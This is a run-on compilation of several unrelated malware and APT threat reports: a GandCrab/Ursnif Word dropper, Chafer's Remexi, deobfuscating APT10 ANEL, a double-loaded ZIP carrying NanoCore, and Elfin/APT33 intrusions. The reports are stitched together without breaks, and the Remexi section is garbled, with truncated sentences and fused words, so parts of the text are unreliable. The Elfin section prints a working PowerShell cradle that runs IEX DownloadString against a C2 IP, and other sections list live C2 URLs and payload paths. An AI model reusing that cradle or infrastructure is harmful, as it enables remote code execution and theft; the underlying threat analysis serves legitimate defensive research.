The vast majority of that was junk code .
Once the junk code was removed from the VBScript , there are approximately 18 lines of relevant code , which ultimately call a shape box in the current document .
The variable names themselves are not relevant , however the methods in bold below will retrieve the AlternativeText field from the specified shape , which is then executed .
The alternate text can easily be observed in the body of the office document .
The area highlighted in blue is the shape name that is being located , while the text itself is highlighted in red .
It is clear that the text is a base64 encoded command , that is then executed by the above VBScript .
The PowerShell script will first create an instance of the .Net Webclient class and then enumerate the available methods using the GetMethods() call ( highlighted in the image in red ) .
The enumerated methods are stored , then a for loop looks first for the method named DownloadString ( highlighted in blue ) .
If the DownloadString method is located it will contact the hard coded C2 requesting a file , which is downloaded and then invoked ( highlighted in blue ) .
It should be noted that because the requested resource is being stored as a string and executed , this all occurs in memory .
Additional Analysis of the downloaded string is provided in the Gandcrab cradle section below .
The loop then looks for the method name DownloadData , and if located will download a resource from a second C2 .
This request is then stored in the CommonApplicationData directory ( C:\ProgramData in Vista and later ) as the hard coded file name ( highlighted in green ) .
The script will utilize the hard coded DCOM object C08AFD90-F2A1-11D1-8455-00A0C91F3880 , which is the ClassID for the ShellBrowserWindow .
A previous blog post by enigma0x3 , detailed how this CLSID can be leveraged to instantiate the ShellBrowserWindow object and call the ShellExecute method , which is the same approach that was taken by the attackers .
This approach has also been used in different Empire modules .
The payloads that are downloaded in the above steps are then executed on the system .
The first payload that is downloaded via the DownloadString method highlighted above , is a PowerShell one-liner that uses an IF statement to evaluate the architecture of the compromised system , and then downloads a additional payload from pastebin.com .
This additional payload is then executed in memory .
The image below depicts the contents of the o402ek2m.php file .
It should be noted that the contents of o402ek2m.php were updated by the attackers to reference different pastebin uploads throughout this campaign .
Also updated was the function name that is invoked , in the example below it was CJOJFNUWNQKRTLLTMCVDCKFGG , however this was dynamically changed to match the name of the function that would be present in pastebin file that was being downloaded .
Once the raw contents of the pastebin.com post were downloaded , that data would also be executed in memory .
In the variants that were obtained during this campaign the file contained a PowerShell script that was approximately 2800 lines .
This PowerShell script is a version of the Empire Invoke-PSInject module , with very few modifications .
The majority if the modifications are of removing comments and renaming variables .
The script will take an embedded PE file that has been base64 encoded and inject that into the current PowerShell process .
The image below is the main function that is being called which in turns calls the function responsible for injecting the embedded PE file .
The base64 encoded PE file that can be seen in line 2760 of the image above is a GandCrab Variant .
This variant ( the metadata for which is listed below ) is Gandcrab versionkrab5.dll : 0f270db9ab9361e20058b8c6129bf30e d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525 , Mon Oct 29 17:39:23 2018 UTC .
 krab5.text : 019bc7edf8c2896754fdbdbc2ddae4ec .
 krab5.rdata : d6ed79624f7af19ba90f51379b7f31e4 .
 krab5.data : 1ec7b57b01d0c46b628a991555fc90f0 .
 krab5.rsrc : 89b7e19270b2a5563c301b84b28e423f .
 krab5.reloc : 685c3c775f65bffceccc1598ff7c2e59 .
The second payload , downloaded via the DownloadData method , is a Ursnif executable .
In this instance it is saved to the C:\ProgramData directory with a pseudo random name .
It should be noted that the file name was changed throughout this campaign .
Once executed the Ursnif sample will conduct the typical actions observed in Ursnif samples , like credential harvesting , gathering system and process information , and deploying additional malware samples .
The information for this specific sample is listed below .
However , numerous Ursnif variants were hosted on the bevendbrec.com site during this campaign .
Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth.com and bevendbrec.com .
 irongreen.exe : 404d25e3a18bda19a238f77270837198 c064f6f047a4e39014a29c8c95526c3fe90d7bcea5ef0b8f21ea306c27713d1f , Sun Dec 18 11:04:31 2011 UTC .
 irongreen.text : 85aa9117c381eae3d181ab63daab335e .
 irongreen.rdata : 3e1c774bc4e0ffc2271075e621aa3f3d .
 irongreen.data : 6c389e5e301564f65dcad4811dbded8b .
 irongreen.rsrc : efba623cc62ffd0ccbf7f3fbf6264905 .
 irongreen.reloc : 6cf46599a57a6cbc5d18fbb2883620ce .
While researching this campaign approximately 180 variants were located in the wild .
Using the VirusTotal Graph functionality these variants could be organized into several groups that were commonly associated by either metadata or document structures like macros or embedded image files ( depicted in the image below ) .
The image below highlights the nodes associated with the samples analyzed in this report .
The graph can also be viewed in the VTGraph Console for additional exploration .
The graph highlights the at least 3 different variants of Ursnif that were being hosted on the bevendbrec.com site .
The Ursnif variants were primarily grouped by C2 infrastructure .
The large grouping on the right of the diagram are direct variants of the sample referenced in this write up .
Samples in this grouping were all hosted on sites that were called by the second stage .
The samples had minor changes , and were presumably changed by the attackers to avoid detection by hash .
Word Dropper Variant cc5a14ff026ee593d7d25f213715b73833e6b9cf71091317121a009d5ad7fc36 7ce3d9fc86396fac9865607594395e94 Word Dropper Variant 28a8d6b8a0cdcb25d098e403cc8b6dcb855cb591f0b54c2e3363b5c580d92b28 74c7aed44680100e984251ce2cdbdbc6 Word Dropper Variant facbc2cb089668197ca3968a3433b6f4826430c13f7d1c75b44667307c67dfe3 10f308d78adda567d4589803ce18cc9b Word Dropper Variant e714a5147335245c386b105bb7494a8b190b6a737ba28f029561efe48105cd11 f279d0f04874327b85221697d99de321 Word Dropper Variant 56c46ef3d5bd544fa35f6e336d3be93cf36e72d0273fa1dbc915979f2d883e9d bc1b322e7efc19417ab0d0524ccb9ff2 .
Ursnif Variant 446ffd272c79554a19b5f4299327fb74b8ff457681d10571caa6eea51ec406b0 ea7e1650031c92b7377788f05926034e Ursnif Variant 42636f3185c9e398958aad272d983c8b8b1409df4ce93f1f8f608e190290f56d 377cd85d8d68fc58976a123aa151c5e0 Ursnif Variant 24b2141c1134ef14f33a38c58342b6573940c5460d03a2945fafac36e32e6889 b73cbffea8094cfa18b067d9568c53e7 Ursnif Variant e53b0a60c238c45019089bdf7f16d5f47b7ba15ca2c918e385c41f0c2076eb52 24fe5a6196e32749cd030ab51824cabe Ursnif Variant 4c8de1713f830819e8354b653fd19a5cafd0bc8fa3145eedf555f24261c874de 589734cb60aa515599c687539c520049 .
GandCrab Variant d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525 ce1ee671fe5246a9c40b624ef97e4de1 GandCrab Variant aca0b96126c813b0d29d6fbff9175f8ca62ff2ec6eed83bff76a73ae717cfcb8 07f955796a252771861c8e0db06b1f01 GandCrab Variant 8cd45f8c8f2ed0109db6a64f9945f3dcb8a780f65c76aedded7b8af95e6dc7ec 4fcd0d13ea669a83a749ae5bfb098ca2 GandCrab Variant 933210a9d19b25e0711ae88eece1ba06bb035a01ab2880cc707ff55bdd3b8dd0 8ec87fd3ea777fa8d5160dc957e6683e GandCrab Variant e564e87958b3e76bc9bfeb5bed773b7a17f3a82f84872acdbb609aa43a9cd776 c7d5077960882259b85c01fd41c49ffd .
Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran .
The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionageThis malware has previously been associated with an APT actor that Symantec calls Chafer .
The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted whenThe attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS ) bitsadmin.exe to receive commands and exfiltrateIts C2 is based on IIS using .asp technology to handle the victims’ HTTPRemexi developers use the C programming language and GCC compiler on Windows in the MinGWThey most likely used the Qt Creator IDE in a WindowsThe malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLMXOR and RC4 encryption is used with quite long unique keys for differentAmong all these random keys once the word “salamati” was also used, which means “health” in Farsi .
Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent .
This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018 .
The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015 .
The newest module’s compilation timestamp is March 2018 .
The developers used GCC compiler on Windows in the MinGWInside the binaries the compiler left references to the names of the C source file modules used: operation_reg.c , thread_command.c and thread_upload.c .
Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and dataFor both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS ) mechanism to communicate with the C2 overSo far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malwareHowever, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE , which we believe may have dropped theThis dropper used an FTP with hardcoded credentials to receive itsFTP server was not accessible any more at the time of ourRemexi boasts features that allow it to gather keystrokes, take screenshots of Windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remoteEncryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’sRemexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliaryThe Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below： extract.exe Deploys modules from the .cab file into the working Event Cache directory, bitsadmin.exe Fetches files from the C2 server to parse and executeSend exfiltrated data, taskkill.exe Ends working cycle ofPersistence modules are based on scheduled tasks and systemMechanisms vary for different OSIn the case of old Windows versions like XP , main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task forFor newer operating systems, events.exe creates task.xml .
To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for everyRC4 file encryption relies on the Windows 32 CryptoAPI , using the provided value’s MD5 hash as an initialAmong all these random keys once the word “salamati” was also used, which means “health” inConfig.ini is the file where the malware stores its encrypted configuration data.List of files to send to C2 using bitsadmin.exe from the dedicated thread: upLog.txt , upSCRLog.txt , upSpecial.txt , upFile.txt , upMSLog.txt .
 http://108.61.189.174 control server HTTPKtJvOXulgibfiHk is the password for uploaded zipOne of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iteratorIf the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a globalAfter that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder ofIn that case, it takes aevents.exe : b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 , c981273c32b581de824e1fd66a19a281 , GCC compiler in MinGW environment version 2.24, I386 Windows GUI EXE .
After checking that the malware is not already installed , it unpacks HCK.cab using the Microsoft standard utility expand.exe .
Splitter.exe : a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff , 1ff40e79d673461cd33bd8b68f8bb5b8 , 2017.08.06 11:32:36 (GMT), I386 Windows Console EXE .
Exfiltration is done through the bitsadmin.exeThe BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OSThe vast majority of the users targeted by this new variant of Remexi appear to have Iranian IPSome of these appear to be foreign diplomatic entities based in theThe Remexi malware has been associated with an APT actor called Chafer by Symantec .
One of the human-readable encryption keys used isThis is probably the Latin spelling for the word “health” in Farsi .
Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “MohamadrezaInterestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a falseActivity of the Chafer APT group has been observed since at least 2015 , but based on things like compilation timestamps and C&C registration, it’s possible they have been active for evenDefeating Compiler-Level Obfuscations Used in APT10 Malware .
The Carbon Black Threat Analysis Unit ( TAU )recently analyzed a series of malware samples that utilized compiler-level obfuscations .
For example ,opaque predicates were applied to Turla mosquito and APT10 ANEL .
Another obfuscation ,control flow flattening ,was applied to APT10 ANEL and Dharma ransomware packer .
ANEL ( also referred to as UpperCut )is a RAT program used by APT10 and observed in Japan uniquely .
According to SecureWorks ,all ANEL samples whose version is 5.3.0 or later are obfuscated with opaque predicates and control flow flattening .
Opaque predicate is a programming term that refers to decision making where there is actually only one path .
For example ,this can be seen as calculating a value that will always return True .
Control flow flattening is an obfuscation method where programs do not cleanly flow from beginning to end .
a switch statement is called in an infinite loop having multiple code blocks each performing operations .
The obfuscations looked similar to the ones explained in Hex-Rays blog ,but the introduced IDA Pro plugin HexRaysDeob didn’t work for one of the obfuscated ANEL samples because the tool was made for another variant of the obfuscation .
TAU investigated the ANEL obfuscation algorithms then modified the HexRaysDeob code to defeat the obfuscations .
After the modification ,TAU was able to recover the original code .
HexRaysDeob is an IDA Pro plugin written by Rolf Rolles to address obfuscation seen in binaries .
In order to perform the deobfuscation ,the plugin manipulates the IDA intermediate language called microcode .
If you aren’t familiar with those structures ( e.g ,microcode data structures ,maturity level ,Microcode Explorer and so on )you should read his blog post .
Rolles also provides an overview of each obfuscation technique in the same post .
HexRaysDeob installs two callbacks when loading :optinsn_t for defeating opaque predicates ( defined as ObfCompilerOptimizer )optblock_t for defeating control flow flattening ( defined as CFUnflattener )Before continuing ,it is important to understand Hex-Rays maturity levels .
When a binary is loaded into IDA Pro ,the application will perform distinct layers of code analysis and optimization ,referred to as maturity levels .
One layer will detect shellcode ,another optimizes it into blocks ,another determines global variables ,and so forth .
The optinsn_t : :f unc callback function is called in maturity levels from MMAT_ZERO ( microcode does not exist )to MMAT_GLBOPT2 ( most global optimizations completed )During the callback ,opaque predicates pattern matching functions are called .
If the code pattern is matched with the definitions ,it is replaced with another expression for the deobfuscation .
This is important to perform in each maturity level as the obfuscated code could be modified or removed as the code becomes more optimized .
We defined two patterns for analysis of the ANEL sample .
The global variable value dword_745BB58C is either even or odd ,so dword_745BB58C * ( dword_745BB58C – 1 )is always even .
This results inthe lowest bit of the negated value becoming 1 .
OR by -2 ( 0xFFFFFFFE )will always produce the value -1 .
In this case ,the pattern matching function replaces dword_745BB58C * ( dword_745BB58C – 1 )with 2 .
The global variable value dword_72DBB588 is always 0 because the value is not initialized ( we can check it by is_loaded API )and has only read accesses .
So the pattern matching function replaces the global variable with 0 .
There are some variants with this pattern ( e.g , the variable – 10 < 0 )where the immediate constant can be different .
We also observed a pattern that was also using an 8-bit portion of the register .
In the following example ,the variable v5 in pseudocode is a register operand ( cl )in microcode .
We need to check if the value comes from the result of x * ( x – 1 )In another example ,the variable v2 in pseudocode is a register operand ( ecx )in microcode .
We have to validate if a global variable with above-mentioned conditions is assigned to the register .
Data-flow tracking code was added to detect these use-cases .
The added code requires that the mblock_t pointer information is passed from the argument of optinsn_t : :f unc to trace back previous instructions using the mblock_t linked list .
the callback returns NULL from the mblock_t pointer if the instruction is not a top-level one .
If the setl is always sub-instruction during the optimization ,we never get the pointer .
To handle this type of scenario ,the code was modified to catch and pass the mblock_t of the jnz instruction to the sub-instruction .
The original implementation calls the optblock_t : :f unc callback function in MMAT_LOCOPT ( local optimization and graphing are complete )maturity level .
Rolles previously explained the unflattening algorithm in a Hex-Rays blog .
For brevity I will quickly cover some key points to understand the algorithm at a high level .
Normally the call flow graph ( CFG )of a function obfuscated with control flow flattening has a loop structure starting with yellow-colored “ control flow dispatcher ”like this ,shown after the First Block .
The original code is separated into the orange-colored “ first block ”and green-colored flattened blocks .
The analyst is then required to resolve the correct next block and modify the destination accordingly .
The next portion of first block and each flattened block is decided by a “ block comparison variable ”with an immediate value .
The value of the variable is assigned to a specific register in each block then compared in a control flow dispatcher and other condition blocks .
If the variable registers for the comparison and assignment are different ,the assignment variable is called “ block update variable ”( which is further explained later )The algorithm looks straightforward however some portions of the code had to be modified in order to correctly deobfuscate the code .
This is further detailed below .
As previously detailed ,the original implementation of the code only works in MMAT_LOCOPT maturity level .
Rolles said this was to handle another obfuscation called “ Odd Stack Manipulations ”referred in his blog )However the unflattening of ANEL code had to be performed in the later maturity level since the assignment of block comparison variable heavily depends on opaque predicates .
As an example in the following obfuscated function ,the v3 and v7 variables are assigned to the block comparison variable ( b_cmp )However the values are dependent on opaque predicates results .
Once the opaque predicates are broken ,the loop code becomes simpler .
Unflattening the code in later maturity levels like MMAT_GLBOPT1 and MMAT_GLBOPT2 ( first and second pass of global optimization )caused additional problems .
The unflattening algorithm requires mapping information between block comparison variable and the actual block number ( mblock_t : :s erial )used in the microcode .
In later maturity levels ,some blocks are deleted by the optimization after defeating opaque predicates ,which removes the mapping information .
In the example below ,the blue-highlighted immediate value 0x4624F47C is assigned to block comparison variable in the first block .
The mapping can be created by checking the conditional jump instruction ( jnz )in MMAT_LOCOPT .
Additionally here is no mapping information in MMAT_GLBOPT2 because the condition block that contains the variable has been deleted .
So the next block of the first one in the level can not be determined .
To resolve that issue ,the code was written to link the block comparison variable and block address in MMAT_LOCOPT ,as the block number is changed in each maturity level .
If the code can’t determine the mapping in later maturity levels ,it attempts to guess the next block number based on the address ,considering each block and instruction addresses .
The guessing is not 100% accurate however it works for the majority of obfuscated functions tested .
Though the original implementation assumes an obfuscated function has only one control flow dispatcher ,some functions in the ANEL sample have multiple control dispatchers .
Originally the code called the optblock_t : :f unc callback in MMAT_GLBOPT1 and MMAT_GLBOPT2 ,as the result was not correct in MMAT_CALLS ( detecting call arguments )this did not work for functions with three or more dispatchers .
Hex-Rays kernel doesn’t optimize some functions in MMAT_GLBOPT2 if it judges the optimization within the level is not required .
In this case ,the callback is executed just once in the implementation .
To handle multiple control flow dispatchers ,a callback for decompiler events was implemented .
The code catches the “ hxe_prealloc ”event ( according to Hex-Rays ,this is the final event for optimizations )then calls optblock_t : :f unc callback .
Typically this event occurs a few times to several times ,so the callback can deobfuscate multiple control flow flattenings .
Other additional modifications were made to the code ( e.g , writing a new algorithm for finding control flow dispatcher and first block ,validating a block comparison variable ,and so on )After the modification ,for example ,the following functions with multiple control flow dispatchers can be unflattened .
The original implementation supports the following two cases of flattened blocks to find a block comparison variable for the next block ( the cases are then simplified )In the second case ,block comparison variable is searched in each block of endsWithJcc and nonJcc .
If the next block is resolved ,the CFG ( specifically mblock_t : :p redset and mblock_t : :s uccset )and the destination of goto jump instruction are updated .
The code tracks the block comparison variable in each predecessor and more ( if any conditional blocks before the predecessor )to identify each next block for unflattening .
in the third case that was implemented ,the block comparison variables are not assigned in the flattened blocks but rather the first blocks according to a condition .
For example ,the following microcode graph shows edi is assigned to esi ( the block comparison variable in this case )in block number 7 but the edi value is assigned in block number 1 and 2 .
If the immediate value for block comparison variable is not found in the flattened blocks ,the new code tries to trace the first blocks to obtain the value and reconnects block number 1 and 2 as successors of block number 7 ,in addition to normal operations mentioned in the original cases .
In this case ,the code parses the structure in first blocks then reconnects each conditional blocks under the flattened blocks ( #1 and #2 as successors of #13 ,#3 and #4 as successors of #11 )but not least ,in all cases explained here ,the tail instruction of the dispatcher predecessor can be a conditional jump like jnz ,not just goto .
The modified code checks the tail instruction and if the true case destination is a control flow dispatcher ,it updates the CFG and the destination of the instruction .
The following changes are minor compared with above referenced ones .
Additional jump instructions are supported when collecting block comparison variable candidates and mapping between the variable and ea or block number ( jnz/jle in JZCollector ,jnz in JZMapper )An entropy threshold adjustment due to check in high maturity level .
Multiple block tracking for getting block comparison variable .
And the last change that was introduced in regards tothe block update variable referred in the overview .
Some functions in the ANEL sample utilize this ,however the assignment is a little bit tricky .
By using the and instruction ,the immediate values used in comparison look different from assigned ones .
The modified code will consider this .
The modified tool was tested with an ANEL 5.4.1 payload dropped from a malicious document with the following hash ( previously reported by FireEye ) :The code is able to deobfuscate 34 of 38 functions ( 89% )It should be noted every function is not always obfuscated .
The failure examples are :Not yet implemented cases ( e.g ,a conditional jump of the dispatcher predecessor’s tail instruction in goto N predecessors case ,consecutive if-statement flattened blocks )An incorrect choice of control flow dispatcher and first block ( algorithm error )These fixes will be prioritized for future releases .
Additionally there is a known issue with the result ( e.g , the remaining loop or paradoxical decompiled code )using the following IDAPython command in Output window :“ HexRaysDeob ”The command will instruct the code to execute only opaque predicates deobfuscation in the current selected function .
This allows an analyst to quickly check if there are any lost blocks by control flow unflattening .
After the check ,the original result can be restored by using the following command :“ HexRaysDeob ”The compiler-level obfuscations like opaque predicates and control flow flattening are started to be observed in the wild by analyst and researchers .
Currently malware with the obfuscations is limited ,however TAU expects not only APT10 but also other threat actors will start to use them .
in order to break the techniques we have to understand both of the obfuscation mechanisms and disassembler tool internals before we can automate the process .
TAU modified the original HexRaysDeob to make it work for APT10 ANEL obfuscations .
The modified code is available publically here .
The summary of the modifications is :New patterns and data-flow tracking for opaque predicates .
Analysis in multiple maturity levels ,considering multiple control flow dispatchers and various jump cases for control flow flattening .
The tool can work for almost all obfuscated functions in the tested sample .
This implementation will deobfuscate approximately 89% of encountered functions .
This provides researchers and analyst broad tool to attack this type of obfuscation ,and if it adopted in other families .
In should be noted that the tool may not work for the updated versions of ANEL if they are compiled with different options of the obfuscating compiler .
Testing in multiple versions is important ,so TAU is looking for newer versions ANEL samples .
Please reach out to our unit if you have relevant samples or need assistance in deobfuscating the codes .
Double Loaded Zip File Delivers Nanocore Most malware sent via emails is packaged in archives such as ZIP, RAR, and 7zOccasionally, we encounter some clever and creative ways these malicious archives areHere we will examine an example of an oddly formatted ZIP archive hiding the NanoCoreWe spotted a courier themed spam campaign on our Secure Email Gateway (SEG ) cloudThe message claimed to be from an Export Operation Specialist of USCO Logistics and that it was sent as per their customerAside from this, there were several other suspicious items we noted: Headers mismatched: The Reply-To and From email address wereFurthermore, the email address used in Reply-To is from a free email clientSuspicious message body: The attachment was mentioned in the message body twice, making sure to direct the reader’s attention towards theSuspicious attachment name: The name of attachment SHIPPING_MX00034900_PL_INV_pdf.zip ends with pdf.zip .
That usually means that the name of the file inside the archive ends with 2 known file extensions “pdf.<extension>” (archiving tools usually defaults the <extension> to the archive’s format e.g.The attachment SHIPPING_MX00034900_PL_INV_pdf.zip makes this message standThe ZIP file had a file size significantly greater than that of its uncompressedTypically, the size of the ZIP file should be less than the uncompressed content or, in some cases, ZIP files will grow larger than the original files by a reasonable number ofZIP archives are supposed to have one “End of Central Directory” (EOCD) signifying the end of theLooking deeper into the structure of SHIPPING_MX00034900_PL_INV_pdf.zip , the attachment has twoAfter the first EOCD comes some extra data – another ZIP fileIt turns out that the first ZIP structure is for the image file order.jpg while the second one is for an executable file SHIPPING_MX00034900_PL_INV_pdf.exe .
Both are compressed when archived, and both indicate that they are the only file in their ZIP structures as indicated in their local file headers and EOCDsThe image file “order.jpg” contained in the first ZIP structure is actually a non-malicious PNG formatted imageThis serves as a decoy, an attempt to hide the content of the other ZIPThe image file has been correctly identified by SEG as a PNG when its file extension is .jpg denoting a JPEG formattedThe second ZIP structure contains SHIPPING_MX00034900_PL_INV_pdf.exe , which is a NanoCoreThis remote access Trojan has the capability that allows an attacker to completely take control of the compromisedIt connects to its command and control server at 194.5.98.85 on portThis NanoCore RAT is version 1.2.2.0 which has been found to be offered for free on the Dark Web just a few monthsWe used different archiving tools such as PowerArchiver 2019 , WinZip , WinRar , 7Zip , andthat is built into the Windows OS in attempting to extract the content of the attachment SHIPPING_MX00034900_PL_INV_pdf.zip .
Among these 5 tools, only WinZip and Windows’were not able to extract anything from the ZIP file as they encountered an error at the start of the extractionThe other archiving tools were able to extract one file from the ZIP attachment – either order.jpg or SHIPPING_MX00034900_PL_INV_pdf.exe .
WinZip version 11.2 and 24.0, and the built-intool in Windows , recognized that the attachment SHIPPING_MX00034900_PL_INV_pdf.zip is an invalidOnly WinZip gave an explicit reason – the start of central directory of the ZIP was notThe central directory it pertained to is the one in the second ZIPAt figure 2, the second EOCD indicates that its only central directory is located at file offset 0xd148f whereas it is at 0xd40d41. (The size of the firstZIP structure was not considered.) Meanwhile, the archiving tools PowerArchiver 2019 , WinRar , and 7Zip were able to extract a file from the attachment SHIPPING_MX00034900_PL_INV_pdf.zip .
The latest versions of PowerArchiver 2019 and WinRar displayed in their respective UI the executable SHIPPING_MX00034900_PL_INV_pdf.exe as the only content of the ZIPNo error or warning was prompted during theOlder versions of 7Zip also behave like PowerArchiver and WinRAR .
 7Zip version 9.22 and older saw the executable asHowever, starting from 7Zip version 9.34 (next available installer after version 9.22) up to its latest version 19.0, 7zip saw and was able to extract the image file order.jpgThe second ZIP structure was treated as extra data; hence, a warning was added to the extracted image file’sAmong the archiving tools we tried, WinRar 3.30 behaved differently andThe content of the ZIP attachment it displayed in its UI was not the one it extracted! This sample challenges gatewaysDepending on the type of decompression engine used, there is a good probability that only the decoy file may be scrutinized and vetted, and the malicious content unnoticed – just like how some of the most popular archiving tools failed to notice the second ZIPDespite what the gateway does, this attack would only succeed if the message got through the gateway and a particular archive utility is used by the end-user, such as certain versions of PowerArchiver , WinRar , and older 7Zip as describedIn this case, the Trustwave Secure email Gateway flagged the message as suspicious and it did not getNevertheless, this case does highlight the types of tricks the bad guys are using in an attempt to deliver malware throughSHIPPING_MX00034900_PL_INV_pdf.zip : 9474e1517c98d4165300a49612888d16643efbf6 .
Elfin : Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S .
The Elfin espionage group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
The group , which first became active in late 2015 or early 2016 , specializes in scanning for vulnerable websites and using this to identify potential targets , either for attacks or creation of command and control ( C&C ) infrastructure .
It has compromised a wide range of targets , including governments along with organizations in the research , chemical , engineering , manufacturing , consulting , finance , telecoms , and several other sectors .
Elfin continues to be focused heavily on Saudi Arabia , which accounted for 42 percent of attacks observed by Symantec since the beginning of 2016 .
However , the U.S. has also been a country of significant interest to the group , with 18 organizations attacked over the past three years , including a number of Fortune 500 companies .
Elfin targets in the U.S. have included organizations in the engineering , chemical , research , energy consultancy , finance , IT , and healthcare sectors .
Some of these U.S. organizations may have been targeted by Elfin for the purpose of mounting supply chain attacks .
In one instance , a large U.S. company was attacked in the same month a Middle Eastern company it co-owns was also compromised .
In a recent wave of attacks during February 2019 , Elfin attempted to exploit a known vulnerability ( CVE-2018-20250 ) in WinRAR , the widely used file archiving and compression utility capable of creating self-extracting archive files .
The exploit was used against one target in the chemical sector in Saudi Arabia .
If successfully exploited on an unpatched computer , the vulnerability could permit an attacker to install any file on the computer , which effectively permits code execution on the targeted computer .
Two users in the targeted organization received a file called " JobDetails.rar " , which attempted to exploit the WinRAR vulnerability .
This file was likely delivered via a spear-phishing email .
However , prior to this attempted attack , Symantec had rolled out proactive protection against any attempt to exploit this vulnerability ( Exp.CVE-2018-20250 ) .
This protection successfully protected the targeted organization from being compromised .
Elfin came under the spotlight in December 2018 when it was linked with a new wave of Shamoon attacks .
One Shamoon victim in Saudi Arabia had recently also been attacked by Elfin and had been infected with the Stonedrill malware ( Trojan.Stonedrill ) used by Elfin .
Because the Elfin and the Shamoon attacks against this organization occurred so close together , there has been speculation that the two groups may be linked .
However , Symantec has found no further evidence to suggest Elfin was responsible for these Shamoon attacks to date .
We continue to monitor the activities of both groups closely .
Elfin has deployed a wide range of tools in its attacks including custom malware , commodity malware , and open-source hacking tools .
Custom malware used by the group include :Notestuk ( Backdoor.Notestuk ) ( aka TURNEDUP ) : Malware that can be used to open a backdoor and gather information from a compromised computer .
Stonedrill ( Trojan.Stonedrill ) : Custom malware capable of opening a backdoor on an infected computer and downloading additional files .
The malware also features a destructive component , which can wipe the master boot record of an infected computer .
AutoIt backdoor : A custom built backdoor written in the AutoIt scripting language .
In addition to its custom malware , Elfin has also used a number of commodity malware tools , available for purchase on the cyber underground .
These include :Remcos ( Backdoor.Remvio ) : A commodity remote administration tool ( RAT ) that can be used to steal information from an infected computer .
DarkComet ( Backdoor.Breut ) : Another commodity RAT used to open a backdoor on an infected computer and steal information .
Quasar RAT ( Trojan.Quasar ) : Commodity RAT that can be used to steal passwords and execute commands on an infected computer .
Pupy RAT ( Backdoor.Patpoopy ) : Commodity RAT that can open a backdoor on an infected computer .
NanoCore ( Trojan.Nancrat ) : Commodity RAT used to open a backdoor on an infected computer and steal information .
NetWeird ( Trojan.Netweird.B ) : A commodity Trojan which can open a backdoor and steal information from the compromised computer .
It may also download additional potentially malicious files .
Elfin also makes frequent use of a number of publicly available hacking tools , including :LaZagne ( SecurityRisk.LaZagne ) : A login/password retrieval tool .
Mimikatz ( Hacktool.Mimikatz ) : Tool designed to steal credentials .
Gpppassword : Tool used to obtain and decrypt Group Policy Preferences ( GPP ) passwords .
SniffPass ( SniffPass ) : Tool designed to steal passwords by sniffing network traffic .
In this section , we describe in detail an Elfin attack on a U.S. organization .
On February 12 , 2018 at 16:45 ( all times are in the organization’s local time ) , an email was sent to the organization advertising a job vacancy at an American global service provider .
The email contained a malicious link to http://mynetwork.ddns.net:880 .
The recipient clicked the link and proceeded to download and open a malicious HTML executable file , which in turn loaded content from a C&C server via an embedded iframe .
At the same time , code embedded within this file also executed a powershell command to download and execute a copy of chfeeds.vbe from the C&C server .
 [System.Net.ServicePointManager] : :S erverCertificateValidationCallback={$true};IEX (New-Object Net.WebClient ) .DownloadString ( ' https://217.147.168.46:8088/index.jpg ' ) .
A second JavaScript command was also executed , which created a scheduled task to execute chfeeds.vbe multiple times a day .
The chfeeds.vbe file acts as a downloader and was used to download a second powershell script ( registry.ps1 ) .
This script in turn downloaded and executed a PowerShell backdoor known as POSHC2 , a proxy-aware C&C framework , from the C&C server ( https:// host-manager.hopto.org ) .
Later at 20:57 , the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR .
 89.34.237.118 808 http://89.34.237.118:808/Rar32.exe .
At 23:29 , the attackers then proceeded to deploy an updated version of their POSHC2 stager .
 192.119.15.35 880 http://mynetwork.ddns.net:880/st-36-p4578.ps1 .
This tool was downloaded several times between 23:29 on February 12 and 07:47 on February 13 .
Two days later , on February 14 at 15:12 , the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server ( 217.147.168.123 ) .
Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe .
At this point , the attackers ceased activity while maintaining access to the network until February 21 .
At 06:38 , the attackers were observed downloading a custom .NET FTP tool to the infected computer .
 192.119.15.36 880 http://192.119.15.36:880/ftp.exe .
